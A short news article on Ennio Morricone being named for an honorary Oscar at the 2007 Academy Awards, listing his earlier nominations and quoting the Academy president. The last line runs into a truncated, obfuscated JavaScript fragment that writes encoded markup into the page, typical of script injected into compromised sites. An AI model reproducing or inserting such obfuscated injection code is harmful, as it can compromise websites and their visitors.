Ennio Morricone honorary Oscar

Italian composer Ennio Morricone, the man behind the memorable music used in the 1960s spaghetti westerns and classics movies such as "Cinema Paradiso" is to receive an honorary Oscar, organizers announced.

Morricone, who has composed more than 300 scores over a 45-year career, will be presented with the award at the 2007 Oscars in Hollywood on February 25, a statement from the Academy of Motion Picture Arts and Sciences said.

The academy was honouring Morricone for "his magnificent and multi-faceted contributions to the art of film music," the statement said.

Morricone has earned five Academy Award nominations for original score -- for "Days of Heaven" (1978), "The Mission" (1986), "The Untouchables" (1987), "Bugsy" (1991) and "Malena" (2000) -- but has not previously received an Oscar. "The board was responding not just to the remarkable number of scores that Mr. Morricone has produced," said Academy President Sid Ganis, "but to the fact that so many of them are beloved and popular masterpieces."

Italian movies Morricone worked on included "The Good, the Bad and the Ugly," "Once upon a Time in America," and "Cinema Paradiso."document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;